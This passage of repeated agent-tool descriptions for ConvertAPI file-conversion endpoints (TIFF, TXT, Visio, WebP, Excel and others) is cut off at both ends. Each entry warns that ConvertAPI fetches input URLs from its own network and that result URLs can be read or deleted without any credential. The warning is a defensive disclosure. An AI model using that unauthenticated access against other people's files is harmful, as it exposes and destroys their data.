not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/txt. Scopes: api. convertapi_post_convert_tiff_to_webp (write) — TIFF to WebP Conversion API via POST /convert/tiff/to/webp. Convert TIFF images to modern WebP to reduce file sizes while preserving high visual fidelity. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs match UI layouts or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/webp. Scopes: api. convertapi_post_convert_txt_to_jpg (write) — TXT to JPG Conversion API via POST /convert/txt/to/jpg. Convert plain text (TXT) content to JPG images for previews, sharing, and archival. Control output with image resolution (DPI), explicit width/height, font selection, text and background colors, and JPEG quality to balance clarity and size. When supported, limit rendering to a page range for targeted outputs. Designed for automation and batch processing, the API produces predictable snapshots from logs, exports, and text reports. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/txt/to/jpg. Scopes: api. convertapi_post_convert_txt_to_pdf (write) — TXT to PDF API via POST /convert/txt/to/pdf. Easily turn text, logs, and plain text files into PDFs or PDF/A with our TXT to PDF API. Set page size, orientation, and margins as you like, and make your PDFs smaller with our compression feature. Great for anyone needing quick and flexible text document conversion API. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/txt/to/pdf. Scopes: api. convertapi_post_convert_vsdx_to_jpg (write) — Visio to JPG Conversion API via POST /convert/vsdx/to/jpg. Convert Visio VSD/VSDX diagrams to high-quality JPG images. Choose resolution, width/height, and JPEG quality. Preserves page layout and renders shapes, text, layers, and connectors clearly for sharing, previewing, or embedding. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/vsdx/to/jpg. Scopes: api. convertapi_post_convert_vsdx_to_pdf (write) — Visio to PDF Conversion API via POST /convert/vsdx/to/pdf. Convert Visio VSD/VSDX diagrams to PDF for easy sharing, review, and archiving. Preserves page layout, layers, shapes, text, and connectors. Optionally embed document metadata and fine-tune PDF output settings. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/vsdx/to/pdf. Scopes: api. convertapi_post_convert_vsdx_to_png (write) — Visio to PNG Conversion API via POST /convert/vsdx/to/png. Convert Visio VSD/VSDX diagrams to crisp PNG images for use in reports, wikis, and apps. Control resolution and output size for pixel-perfect exports. Ideal when you need lossless, widely supported raster images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/vsdx/to/png. Scopes: api. convertapi_post_convert_vsdx_to_tiff (write) — Visio to TIFF Conversion API via POST /convert/vsdx/to/tiff. Convert Visio VSD/VSDX diagrams to high-fidelity TIFF images suitable for print and archival workflows. Control resolution, color settings, and page rendering to preserve precise layout, shapes, and annotations. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/vsdx/to/tiff. Scopes: api. convertapi_post_convert_webp_to_gif (write) — WebP to GIF Conversion API via POST /convert/webp/to/gif. Convert WebP images to GIF, including animated GIF output when multiple frames are present. Fine-tune playback with frame persistence (keep last frame), per-frame delay, and total animation iterations to meet UX or platform guidelines. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for consistent rendering across devices. Adjust color handling to balance palette size and visual fidelity while keeping file size small. Ideal for UI previews, messaging, and web delivery where broad GIF support is required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/gif. Scopes: api. convertapi_post_convert_webp_to_jpg (write) — WebP to JPG Conversion API via POST /convert/webp/to/jpg. Convert WebP images to JPG while handling alpha transparency that JPEG does not support. Replace transparent regions with a specified background color so visuals look correct on light or dark backgrounds. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for predictable output across inputs. Choose color space for device consistency and adjust JPEG quality to balance visual clarity and file size. Ideal for preparing assets for web, mobile, and email where opaque JPEGs with uniform backgrounds are required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/jpg. Scopes: api. convertapi_post_convert_webp_to_pdf (write) — WebP to PDF Conversion API via POST /convert/webp/to/pdf. Convert WebP images to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/pdf. Scopes: api. convertapi_post_convert_webp_to_png (write) — WebP to PNG Conversion API via POST /convert/webp/to/png. Convert WebP images to widely supported PNG format for web, mobile, and application use. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing assets for distribution or UI display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/png. Scopes: api. convertapi_post_convert_webp_to_pnm (write) — WebP to PNM Conversion API via POST /convert/webp/to/pnm. Convert WebP images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Tune general image controls including resolution (DPI), scaling behavior, and explicit width/height to produce predictable results across inputs. Adjust color handling for accurate grayscale or RGB output and map transparent regions to a specified color when needed for downstream systems. Ideal for pipelines that require lightweight, uncompressed image representations for processing, testing, or archival workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/pnm. Scopes: api. convertapi_post_convert_webp_to_svg (write) — WebP to SVG Conversion API via POST /convert/webp/to/svg. Vectorize WebP images into clean, scalable SVG graphics suitable for UI, diagrams, and icons. Adjust color mode and palette precision, choose layering strategies, and fine-tune curve fitting, corner thresholds, segment lengths, and speckle filtering to balance visual fidelity against file size. Control gradient handling and set explicit width/height for consistent exports across batches. Ideal for converting raster assets into lightweight vectors that remain sharp at any scale and are easy to style or animate in modern workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/svg. Scopes: api. convertapi_post_convert_webp_to_tiff (write) — WebP to TIFF Conversion API via POST /convert/webp/to/tiff. Convert modern WebP images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality settings for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and integrations that require lossless or high-fidelity raster output with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/tiff. Scopes: api. convertapi_post_convert_webp_to_webp (write) — WebP to WebP Conversion API via POST /convert/webp/to/webp. Optimize existing WebP images by re-encoding them with precise control over output characteristics. Choose lossless or lossy mode and set the quality factor to balance clarity against file size. Adjust color space for consistent rendering across platforms and fine-tune resolution, scaling behavior, and explicit width/height to match UI, delivery, or storage constraints. Ideal for batch optimization pipelines, CDN workflows, and preparing assets for web and mobile where small, visually faithful files are critical. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/webp/to/webp. Scopes: api. convertapi_post_convert_wpd_to_pdf (write) — WPD to PDF Conversion API via POST /convert/wpd/to/pdf. Convert WordPerfect (WPD) documents to high-quality PDF for distribution, review, and archiving. Open password-protected files when required, restrict conversion to a specific page range, and include markups, tags, headings, and bookmarks to preserve structure. Optionally convert document metadata and enable PDF/A compliance for long-term preservation. Designed for automation, the API produces predictable results across varied inputs without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/wpd/to/pdf. Scopes: api. convertapi_post_convert_xls_to_xls (write) — XLS to XLS Conversion API via POST /convert/xls/to/xls. Process legacy Excel XLS workbooks to improve file integrity and compatibility. Open password-protected files and normalize the spreadsheet structure for consistent handling across different Excel versions. Ideal for file repair, format standardization, batch processing, and preparing legacy spreadsheets for automated workflows and archival. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xls/to/xls. Scopes: api. convertapi_post_convert_xls_to_xlsx (write) — XLS to XLSX Conversion API via POST /convert/xls/to/xlsx. Convert legacy Excel XLS workbooks to modern XLSX format for improved compatibility and file size reduction. Open password-protected files and migrate to the XML-based XLSX format that supports larger datasets and better compression. Ideal for modernizing legacy spreadsheets, bulk migrations, ensuring compatibility with newer Office versions, and reducing storage requirements. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xls/to/xlsx. Scopes: api. convertapi_post_convert_xlsb_to_csv (write) — XLSB to CSV Conversion API via POST /convert/xlsb/to/csv. Convert Excel XLSB workbooks to CSV for ingestion by downstream systems and scripts. Choose which worksheets to export using active sheet, index ranges, or name ranges, and process password-protected files when necessary. Produce clean, line-delimited output suited for data pipelines, analytics, and archival. Designed for automation, the converter handles single files or batches consistently so results remain predictable across environments and input variations. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsb/to/csv. Scopes: api. convertapi_post_convert_xlsb_to_pdf (write) — XLSB to PDF API via POST /convert/xlsb/to/pdf. Convert Excel XLSB workbooks to PDF for sharing, review, and archiving. Select the worksheet by name, index, or the active sheet, and open password-protected files when required. Control page orientation and page size, auto-fit by columns or pages, clear print areas, and apply custom scaling to match layout constraints. Add a header on each page and optionally preserve metadata. Normalize locale with thousands/decimal separators and date formats for consistent output. Enable PDF/A for long-term preservation and process single files or batches with predictable results. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsb/to/pdf. Scopes: api. convertapi_post_convert_xlsx_to_csv (write) — Excel to CSV Conversion API via POST /convert/xlsx/to/csv. Convert Microsoft Excel spreadsheets (XLS/XLSX) to CSV for data processing, analysis, and system integration. Select specific worksheets by name, index range, or export the active sheet. Supports password-protected workbooks. Produces clean, comma-delimited output optimized for data pipelines, database imports, and analytics tools. Ideal for automated data extraction and ETL workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/csv. Scopes: api. convertapi_post_convert_xlsx_to_jpg (write) — Excel to JPG Conversion API via POST /convert/xlsx/to/jpg. Convert Microsoft Excel spreadsheets (XLS/XLSX) to high-quality JPG images for previews, web display, and archival. Select specific worksheets by name, index, or export the active sheet. Control image resolution (DPI), width, height, and JPEG quality to balance clarity and file size. Supports password-protected workbooks and includes options for page scaling and column fitting. Ideal for generating spreadsheet thumbnails, visual reports, and automated document previews. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/jpg. Scopes: api. convertapi_post_convert_xlsx_to_md (write) — Excel to Markdown Conversion API via POST /convert/xlsx/to/md. Convert Excel spreadsheets (XLS/XLSX) into clean Markdown tables built for AI applications, LLM ingestion, embeddings, RAG pipelines, and documentation workflows in GitHub, Obsidian, and static site generators. Every worksheet becomes a table under its sheet name heading, with values rendered exactly as the spreadsheet displays them: dates, currencies and percentages keep their number formats, merged cells span every covered row and column, and hyperlinks stay clickable links. You choose what is converted and how. Select worksheets by name or index or convert only the active sheet, include hidden rows and columns when needed, and switch between displayed values, raw data, and formulas with... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/md. Scopes: api. convertapi_post_convert_xlsx_to_pdf (write) — XLSX to PDF API via POST /convert/xlsx/to/pdf. Convert Excel XLS/XLSX workbooks to PDF for sharing, review, and archiving. Select the worksheet by name, index, or the active sheet, and open password-protected files when required. Control page orientation and page size, auto-fit by columns or pages, clear print areas, and apply custom scaling to match layout constraints. Add a header on each page and optionally preserve metadata. Normalize locale with thousands/decimal separators and date formats for consistent output. Enable PDF/A for long-term preservation and process single files or batches with predictable results. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/pdf. Scopes: api. convertapi_post_convert_xlsx_to_png (write) — Excel to PNG Conversion API via POST /convert/xlsx/to/png. Convert Microsoft Excel spreadsheets (XLS/XLSX) to high-quality PNG images with lossless compression. Select specific worksheets by name, index, or export the active sheet. Control image resolution 